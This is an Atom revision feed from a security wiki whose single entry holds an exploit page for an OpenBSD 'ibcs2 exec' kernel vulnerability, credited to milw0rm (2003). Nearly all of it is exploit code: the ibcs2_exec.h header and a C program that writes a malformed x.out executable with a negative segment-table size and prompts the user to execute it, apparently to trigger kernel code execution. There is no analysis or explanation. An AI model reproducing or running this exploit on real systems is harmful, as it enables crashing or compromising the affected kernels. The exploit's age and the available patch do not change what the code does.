<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenBSD_-_%27ibcs2_exec%27_%E5%85%A7%E6%A0%B8%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>OpenBSD - 'ibcs2 exec' 內核代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenBSD_-_%27ibcs2_exec%27_%E5%85%A7%E6%A0%B8%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenBSD_-_%27ibcs2_exec%27_%E5%85%A7%E6%A0%B8%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T16:41:03Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=OpenBSD_-_%27ibcs2_exec%27_%E5%85%A7%E6%A0%B8%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2072&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; // // Patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/005_exec.patch // #include &lt;sys/types.h&gt; #include &lt;sys/stat.h&gt; #include &lt;fcntl.h&gt; #include &lt;stdi...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenBSD_-_%27ibcs2_exec%27_%E5%85%A7%E6%A0%B8%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2072&amp;oldid=prev"/>
		<updated>2021-05-03T12:39:19Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; // // Patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/005_exec.patch // #include &amp;lt;sys/types.h&amp;gt; #include &amp;lt;sys/stat.h&amp;gt; #include &amp;lt;fcntl.h&amp;gt; #include &amp;lt;stdi...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/005_exec.patch&lt;br /&gt;
//&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
/* $OpenBSD: ibcs2_exec.h,v 1.3 2002/03/14 01:26:50 millert Exp $ */&lt;br /&gt;
/* $NetBSD: ibcs2_exec.h,v 1.4 1995/03/14 15:12:24 scottb Exp $ */&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
 * Copyright (c) 1994, 1995 Scott Bartram&lt;br /&gt;
 * All rights reserved.&lt;br /&gt;
 *&lt;br /&gt;
 * adapted from sys/sys/exec_ecoff.h&lt;br /&gt;
 * based on Intel iBCS2&lt;br /&gt;
 *&lt;br /&gt;
 * Redistribution and use in source and binary forms, with or without&lt;br /&gt;
 * modification, are permitted provided that the following conditions&lt;br /&gt;
 * are met:&lt;br /&gt;
 * 1. Redistributions of source code must retain the above copyright&lt;br /&gt;
 * notice, this list of conditions and the following disclaimer.&lt;br /&gt;
 * 2. Redistributions in binary form must reproduce the above copyright&lt;br /&gt;
 * notice, this list of conditions and the following disclaimer in the&lt;br /&gt;
 * documentation and/or other materials provided with the distribution.&lt;br /&gt;
 * 3. The name of the author may not be used to endorse or promote products&lt;br /&gt;
 * derived from this software without specific prior written permission&lt;br /&gt;
 *&lt;br /&gt;
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR&lt;br /&gt;
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES&lt;br /&gt;
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.&lt;br /&gt;
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,&lt;br /&gt;
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT&lt;br /&gt;
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,&lt;br /&gt;
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY&lt;br /&gt;
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT&lt;br /&gt;
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF&lt;br /&gt;
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
#ifndef _IBCS2_EXEC_H_&lt;br /&gt;
#define _IBCS2_EXEC_H_&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
 * COFF file header&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
struct coff_filehdr {&lt;br /&gt;
    u_short f_magic; /* magic number */&lt;br /&gt;
    u_short f_nscns; /* # of sections */&lt;br /&gt;
    long f_timdat; /* timestamp */&lt;br /&gt;
    long f_symptr; /* file offset of symbol table */&lt;br /&gt;
    long f_nsyms; /* # of symbol table entries */&lt;br /&gt;
    u_short f_opthdr; /* size of optional header */&lt;br /&gt;
    u_short f_flags; /* flags */&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
/* f_magic flags */&lt;br /&gt;
#define COFF_MAGIC_I386 0x14c&lt;br /&gt;
&lt;br /&gt;
/* f_flags */&lt;br /&gt;
#define COFF_F_RELFLG 0x1&lt;br /&gt;
#define COFF_F_EXEC 0x2&lt;br /&gt;
#define COFF_F_LNNO 0x4&lt;br /&gt;
#define COFF_F_LSYMS 0x8&lt;br /&gt;
#define COFF_F_SWABD 0x40&lt;br /&gt;
#define COFF_F_AR16WR 0x80&lt;br /&gt;
#define COFF_F_AR32WR 0x100&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
 * COFF system header&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
struct coff_aouthdr {&lt;br /&gt;
    short a_magic;&lt;br /&gt;
    short a_vstamp;&lt;br /&gt;
    long a_tsize;&lt;br /&gt;
    long a_dsize;&lt;br /&gt;
    long a_bsize;&lt;br /&gt;
    long a_entry;&lt;br /&gt;
    long a_tstart;&lt;br /&gt;
    long a_dstart;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
/* magic */&lt;br /&gt;
#define COFF_OMAGIC 0407 /* text not write-protected; data seg&lt;br /&gt;
is contiguous with text */&lt;br /&gt;
#define COFF_NMAGIC 0410 /* text is write-protected; data starts&lt;br /&gt;
at next seg following text */&lt;br /&gt;
#define COFF_ZMAGIC 0413 /* text and data segs are aligned for&lt;br /&gt;
direct paging */&lt;br /&gt;
#define COFF_SMAGIC 0443 /* shared lib */&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
 * COFF section header&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
struct coff_scnhdr {&lt;br /&gt;
    char s_name[8];&lt;br /&gt;
    long s_paddr;&lt;br /&gt;
    long s_vaddr;&lt;br /&gt;
    long s_size;&lt;br /&gt;
    long s_scnptr;&lt;br /&gt;
    long s_relptr;&lt;br /&gt;
    long s_lnnoptr;&lt;br /&gt;
    u_short s_nreloc;&lt;br /&gt;
    u_short s_nlnno;&lt;br /&gt;
    long s_flags;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
/* s_flags */&lt;br /&gt;
#define COFF_STYP_REG 0x00&lt;br /&gt;
#define COFF_STYP_DSECT 0x01&lt;br /&gt;
#define COFF_STYP_NOLOAD 0x02&lt;br /&gt;
#define COFF_STYP_GROUP 0x04&lt;br /&gt;
#define COFF_STYP_PAD 0x08&lt;br /&gt;
#define COFF_STYP_COPY 0x10&lt;br /&gt;
#define COFF_STYP_TEXT 0x20&lt;br /&gt;
#define COFF_STYP_DATA 0x40&lt;br /&gt;
#define COFF_STYP_BSS 0x80&lt;br /&gt;
#define COFF_STYP_INFO 0x200&lt;br /&gt;
#define COFF_STYP_OVER 0x400&lt;br /&gt;
#define COFF_STYP_SHLIB 0x800&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
 * COFF shared library header&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
struct coff_slhdr {&lt;br /&gt;
long entry_len; /* in words */&lt;br /&gt;
long path_index; /* in words */&lt;br /&gt;
char sl_name[1];&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
#define COFF_ROUND(val, by) (((val) + by - 1) &amp;amp; ~(by - 1))&lt;br /&gt;
&lt;br /&gt;
#define COFF_ALIGN(a) ((a) &amp;amp; ~(COFF_LDPGSZ - 1))&lt;br /&gt;
&lt;br /&gt;
#define COFF_HDR_SIZE \&lt;br /&gt;
(sizeof(struct coff_filehdr) + sizeof(struct coff_aouthdr))&lt;br /&gt;
&lt;br /&gt;
#define COFF_BLOCK_ALIGN(ap, value) \&lt;br /&gt;
        (ap-&amp;gt;a_magic == COFF_ZMAGIC ? COFF_ROUND(value, COFF_LDPGSZ) : \&lt;br /&gt;
         value)&lt;br /&gt;
&lt;br /&gt;
#define COFF_TXTOFF(fp, ap) \&lt;br /&gt;
        (ap-&amp;gt;a_magic == COFF_ZMAGIC ? 0 : \&lt;br /&gt;
         COFF_ROUND(COFF_HDR_SIZE + fp-&amp;gt;f_nscns * \&lt;br /&gt;
sizeof(struct coff_scnhdr), COFF_SEGMENT_ALIGNMENT(ap)))&lt;br /&gt;
&lt;br /&gt;
#define COFF_DATOFF(fp, ap) \&lt;br /&gt;
        (COFF_BLOCK_ALIGN(ap, COFF_TXTOFF(fp, ap) + ap-&amp;gt;a_tsize))&lt;br /&gt;
&lt;br /&gt;
#define COFF_SEGMENT_ALIGN(ap, value) \&lt;br /&gt;
        (COFF_ROUND(value, (ap-&amp;gt;a_magic == COFF_ZMAGIC ? COFF_LDPGSZ : \&lt;br /&gt;
         COFF_SEGMENT_ALIGNMENT(ap))))&lt;br /&gt;
&lt;br /&gt;
#define COFF_LDPGSZ 4096&lt;br /&gt;
&lt;br /&gt;
#define COFF_SEGMENT_ALIGNMENT(ap) 4&lt;br /&gt;
&lt;br /&gt;
#define COFF_BADMAG(ex) (ex-&amp;gt;f_magic != COFF_MAGIC_I386)&lt;br /&gt;
&lt;br /&gt;
#define IBCS2_HIGH_SYSCALL(n) (((n) &amp;amp; 0x7f) == 0x28)&lt;br /&gt;
#define IBCS2_CVT_HIGH_SYSCALL(n) (((n) &amp;gt;&amp;gt; 8) + 128)&lt;br /&gt;
&lt;br /&gt;
struct exec_package;&lt;br /&gt;
int exec_ibcs2_coff_makecmds(struct proc *, struct exec_package *);&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
 * x.out (XENIX)&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
struct xexec {&lt;br /&gt;
u_short x_magic; /* magic number */&lt;br /&gt;
u_short x_ext; /* size of extended header */&lt;br /&gt;
long x_text; /* ignored */&lt;br /&gt;
long x_data; /* ignored */&lt;br /&gt;
long x_bss; /* ignored */&lt;br /&gt;
long x_syms; /* ignored */&lt;br /&gt;
long x_reloc; /* ignored */&lt;br /&gt;
long x_entry; /* executable entry point */&lt;br /&gt;
char x_cpu; /* processor type */&lt;br /&gt;
char x_relsym; /* ignored */&lt;br /&gt;
u_short x_renv; /* flags */&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
/* x_magic flags */&lt;br /&gt;
#define XOUT_MAGIC 0x0206&lt;br /&gt;
&lt;br /&gt;
/* x_cpu flags */&lt;br /&gt;
#define XC_386 0x004a /* 386, word-swapped */&lt;br /&gt;
&lt;br /&gt;
/* x_renv flags */&lt;br /&gt;
#define XE_V5 0xc000&lt;br /&gt;
#define XE_SEG 0x0800&lt;br /&gt;
#define XE_ABS 0x0400&lt;br /&gt;
#define XE_ITER 0x0200&lt;br /&gt;
#define XE_VMOD 0x0100&lt;br /&gt;
#define XE_FPH 0x0080&lt;br /&gt;
#define XE_LTEXT 0x0040&lt;br /&gt;
#define XE_LDATA 0x0020&lt;br /&gt;
#define XE_OVER 0x0010&lt;br /&gt;
#define XE_FS 0x0008&lt;br /&gt;
#define XE_PURE 0x0004&lt;br /&gt;
#define XE_SEP 0x0002&lt;br /&gt;
#define XE_EXEC 0x0001&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
 * x.out extended header&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
struct xext {&lt;br /&gt;
long xe_trsize; /* ignored */&lt;br /&gt;
long xe_drsize; /* ignored */&lt;br /&gt;
long xe_tbase; /* ignored */&lt;br /&gt;
long xe_dbase; /* ignored */&lt;br /&gt;
long xe_stksize; /* stack size if XE_FS set in x_renv */&lt;br /&gt;
long xe_segpos; /* offset of segment table */&lt;br /&gt;
long xe_segsize; /* segment table size */&lt;br /&gt;
long xe_mdtpos; /* ignored */&lt;br /&gt;
long xe_mdtsize; /* ignored */&lt;br /&gt;
char xe_mdttype; /* ignored */&lt;br /&gt;
char xe_pagesize; /* ignored */&lt;br /&gt;
char xe_ostype; /* ignored */&lt;br /&gt;
char xe_osvers; /* ignored */&lt;br /&gt;
u_short xe_eseg; /* ignored */&lt;br /&gt;
u_short xe_sres; /* ignored */&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
 * x.out segment table&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
struct xseg {&lt;br /&gt;
u_short xs_type; /* segment type */&lt;br /&gt;
u_short xs_attr; /* attribute flags */&lt;br /&gt;
u_short xs_seg; /* segment selector number */&lt;br /&gt;
char xs_align; /* ignored */&lt;br /&gt;
char xs_cres; /* ignored */&lt;br /&gt;
long xs_filpos; /* offset of this segment */&lt;br /&gt;
long xs_psize; /* physical segment size */&lt;br /&gt;
long xs_vsize; /* virtual segment size */&lt;br /&gt;
long xs_rbase; /* relocation base address */&lt;br /&gt;
u_short xs_noff; /* ignored */&lt;br /&gt;
u_short xs_sres; /* ignored */&lt;br /&gt;
long xs_lres; /* ignored */&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
/* xs_type flags */&lt;br /&gt;
#define XS_TNULL 0 /* unused */&lt;br /&gt;
#define XS_TTEXT 1 /* text (read-only) */&lt;br /&gt;
#define XS_TDATA 2 /* data (read-write) */&lt;br /&gt;
#define XS_TSYMS 3 /* symbol table (noload) */&lt;br /&gt;
#define XS_TREL 4 /* relocation segment (noload) */&lt;br /&gt;
#define XS_TSESTR 5 /* string table (noload) */&lt;br /&gt;
#define XS_TGRPS 6 /* group segment (noload) */&lt;br /&gt;
&lt;br /&gt;
#define XS_TIDATA 64&lt;br /&gt;
#define XS_TTSS 65&lt;br /&gt;
#define XS_TLFIX 66&lt;br /&gt;
#define XS_TDNAME 67&lt;br /&gt;
#define XS_TDTEXT 68&lt;br /&gt;
#define XS_TDFIX 69&lt;br /&gt;
#define XS_TOVTAB 70&lt;br /&gt;
#define XS_T71 71&lt;br /&gt;
#define XS_TSYSTR 72&lt;br /&gt;
&lt;br /&gt;
/* xs_attr flags */&lt;br /&gt;
#define XS_AMEM 0x8000 /* memory image */&lt;br /&gt;
#define XS_AITER 0x0001 /* iteration records */&lt;br /&gt;
#define XS_AHUGE 0x0002 /* unused */&lt;br /&gt;
#define XS_ABSS 0x0004 /* uninitialized data */&lt;br /&gt;
#define XS_APURE 0x0008 /* read-only (sharable) segment */&lt;br /&gt;
#define XS_AEDOWN 0x0010 /* expand down memory segment */&lt;br /&gt;
#define XS_APRIV 0x0020 /* unused */&lt;br /&gt;
#define XS_A32BIT 0x0040 /* 32-bit text/data */&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
 * x.out iteration record&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
struct xiter {&lt;br /&gt;
long xi_size; /* text/data size */&lt;br /&gt;
long xi_rep; /* number of replications */&lt;br /&gt;
long xi_offset; /* offset within segment to replicated data */&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
#define XOUT_HDR_SIZE (sizeof(struct xexec) + sizeof(struct xext))&lt;br /&gt;
&lt;br /&gt;
int exec_ibcs2_xout_makecmds(struct proc *, struct exec_package *);&lt;br /&gt;
&lt;br /&gt;
#endif /* !_IBCS2_EXEC_H_ */&lt;br /&gt;
&lt;br /&gt;
int main(int ac,char **av)&lt;br /&gt;
{&lt;br /&gt;
int fd;&lt;br /&gt;
struct xexec xp;&lt;br /&gt;
struct xext xep;&lt;br /&gt;
char exe[10];&lt;br /&gt;
char fil[]=&amp;quot;./vvc&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
fd=open(fil,O_CREAT|O_RDWR,0700);&lt;br /&gt;
if (fd==-1) {perror(&amp;quot;open&amp;quot;);return 1;}&lt;br /&gt;
memset(&amp;amp;xp,0,sizeof(xp));&lt;br /&gt;
memset(&amp;amp;xep,0,sizeof(xep));&lt;br /&gt;
memset(exe,'v',sizeof(exe));&lt;br /&gt;
xp.x_magic = XOUT_MAGIC;&lt;br /&gt;
xp.x_cpu = XC_386;&lt;br /&gt;
xp.x_renv = XE_EXEC;&lt;br /&gt;
xp.x_ext = sizeof(xep);&lt;br /&gt;
xep.xe_segsize = -1;&lt;br /&gt;
write(fd,&amp;amp;xp,sizeof(xp));&lt;br /&gt;
write(fd,&amp;amp;xep,sizeof(xep));&lt;br /&gt;
write(fd,exe,sizeof(exe));&lt;br /&gt;
printf(&amp;quot;Now exec %s\n&amp;quot;,fil);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// milw0rm.com [2003-11-07]&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>